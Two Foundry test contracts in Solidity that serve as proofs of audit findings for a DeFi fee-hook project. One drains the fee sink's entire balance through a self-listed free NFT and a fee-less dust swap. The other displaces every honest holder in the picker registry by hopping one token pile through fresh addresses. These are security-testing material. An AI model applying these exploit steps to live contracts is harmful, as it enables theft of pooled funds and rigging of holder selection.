// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// @dev Minimal ETH-in swap router: swaps for msg.sender and settles from msg.value.
contract DustRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swapEthIn(PoolKey memory key, uint256 ethIn) external payable {
        manager.unlock(abi.encode(msg.sender, key, ethIn));
        uint256 left = address(this).balance;
        if (left > 0) {
            (bool ok,) = payable(msg.sender).call{value: left}("");
            require(ok, "refund failed");
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        (address swapper, PoolKey memory key, uint256 ethIn) = abi.decode(raw, (address, PoolKey, uint256));
        BalanceDelta d = manager.swap(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
            ""
        );
        if (d.amount0() < 0) manager.settle{value: uint256(uint128(-d.amount0()))}();
        if (d.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(d.amount1())));
        return "";
    }
}

/// Finding: FeeSink.tryBuy has no per-purchase price ceiling, and any swapper can trigger it through
/// afterSwap. A stranger mints a free mock NFT, lists it at exactly the sink's balance, and fires a
/// 300 wei swap (fee rounds to zero). The sink spends its entire accumulated fee pot on that one NFT.
contract ProofSinkDrainTest is Test {
    PoolManager manager;
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink feeSink;
    GotchiFeeHook hook;
    ForeverLiquidity forever;
    DustRouter router;
    PoolKey key;

    address attacker = makeAddr("attacker");
    address funder = makeAddr("funder");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer hd = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = hd.findSalt(address(manager), 0, 1_000_000);
        hook = hd.deploy(salt, address(manager), address(feeSink));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        key = forever.poolKey();

        uint160 p = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(p, p, p, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        router = new DustRouter(manager);

        // 1 ETH of accumulated swap fees sits in the sink (100x MIN_BUY_THRESHOLD).
        vm.deal(funder, 1 ether);
        vm.prank(funder);
        (bool ok,) = address(feeSink).call{value: 1 ether}("");
        require(ok);
        vm.deal(attacker, 1 ether);
    }

    function test_strangerCannotTakeTheWholePotWithOneFreeNft() public {
        uint256 pot = address(feeSink).balance;
        assertEq(pot, 1 ether);

        // Attacker: free mint, list at exactly the pot, trigger tryBuy with a fee-less dust swap.
        vm.startPrank(attacker);
        uint256 tokenId = nft.mint(attacker);
        nft.approve(address(market), tokenId);
        market.list(tokenId, pot);
        router.swapEthIn{value: 300}(key, 300); // calculateFee(300) == 0, so the pot is unchanged
        vm.stopPrank();

        // Expected: a single purchase is bounded (a price ceiling / per-buy budget), so the sink keeps
        // most of its fee pot and the stranger's listing at 100x the threshold is not bought.
        // Actual on this code: the whole 1 ETH goes to the attacker's proceeds in one purchase.
        assertLt(market.proceeds(attacker), pot, "one worthless listing must not absorb the entire fee pot");
        assertGt(address(feeSink).balance, 0, "sink emptied by a single stranger-priced purchase");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// One pile of tokens, moved through fresh addresses, must not empty a full registry of smaller holders.
contract RegistryHopProof is Test {
    LaunchToken token;
    HolderWeightedPicker picker;

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_onePileCannotDisplaceEveryHolder() public {
        uint256 cap = picker.MAX_HOLDERS();
        // 128 honest holders with 1,000,000 GOTCHI each (12.8% of supply in total), enrolled and mature.
        for (uint256 i = 0; i < cap; ++i) {
            address holder = address(uint160(0x1000 + i));
            token.transfer(holder, 1_000_000e18);
            vm.prank(holder);
            picker.enroll();
        }
        vm.roll(block.number + picker.ENROLL_MATURITY_BLOCKS() + 1);
        uint256 purchaseBlock = block.number;

        // The attacker owns ONE pile of 1,000,001 GOTCHI (0.1% of supply; under 0.01% of the honest weight
        // would be its fair share) and walks it through 128 fresh addresses in one transaction.
        address hop = address(uint160(0xA000));
        token.transfer(hop, 1_000_001e18);
        for (uint256 i = 0; i < cap; ++i) {
            vm.prank(hop);
            picker.enroll();
            address next = address(uint160(0xA001 + i));
            vm.prank(hop);
            token.transfer(next, 1_000_001e18);
            hop = next;
        }

        uint256 honestLeft = 0;
        for (uint256 i = 0; i < cap; ++i) {
            if (picker.isEnrolled(address(uint160(0x1000 + i)))) honestLeft += 1;
        }
        assertGt(honestLeft, cap / 2, "one pile of tokens must not displace the honest holders");

        uint256 id = picker.snapshotFor(purchaseBlock);
        assertGt(picker.snapshotInfo(id).totalWeight, 0, "the flip for this purchase must still have candidates");
    }
}